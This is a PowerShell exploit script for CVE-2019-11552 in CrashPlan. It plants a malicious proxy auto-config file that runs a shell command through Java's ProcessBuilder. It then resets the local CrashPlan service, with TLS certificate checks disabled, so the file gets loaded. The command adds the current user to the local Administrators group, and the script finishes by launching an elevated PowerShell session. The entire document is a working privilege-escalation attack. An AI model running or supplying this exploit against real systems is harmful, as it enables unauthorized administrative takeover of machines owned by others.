Exploit code for CVE-2019-11552. Adds current user to the local administrators group.

Invoke-CrashPlanElevation.ps1

function Create-FakePAC 
{
    Param(
        [String]$Command
    )

    $fileContents = @"
function FindProxyForURL(url, host) {
    new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd.exe"], ["/c \"${Command}\""]).start();

    return "DIRECT";
}
"@

    $fileContents | Out-File -FilePath "C:\ProgramData\CrashPlan\conf\service.pac" -Encoding ascii
}

function Reset-CrashPlanService {
    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

    (New-Object Net.WebClient).DownloadString("https://127.0.0.1:4244/v1/ResetService")
}


$command = "net localgroup Administrators $env:UserName /add"

try {
    Write-Host "[*] Creating PAC file..." 
    Create-FakePAC -Command $command
} catch [System.UnauthorizedAccessException] {
    Write-Host "[-] PAC-file might already exist. Resetting service to delete existing file and trying again..."

    $resetResult = Reset-CrashPlanService
    if ($resetResult -ne '{"errors":[]}') {
        Write-Host "[-] Could not reset CrashPlanService! Exiting."
        exit
    }

    Write-Host "[+] Service reset."
    Write-Host "[*] Trying to create PAC file again..."

    try {
        Create-FakePAC -Command $command
    } catch [System.UnauthorizedAccessException] {
        Write-Host "Giving up."
        exit
    }
}

Write-Host "[+] PAC-file created!"
Write-Host "[*] Resetting CrashPlanService"

$resetResult = Reset-CrashPlanService
if ($resetResult -ne '{"errors":[]}') {
    Write-Host "[-] Could not reset CrashPlanService! Exiting."
    exit
}

Write-Host "[+] CrashPlanService reset! Attempting to start elevated Powershell session..."

Create-FakePAC -Command $command

Start-Sleep -Seconds 5

powershell -noexit -command "Start-Process powershell.exe -Verb runas"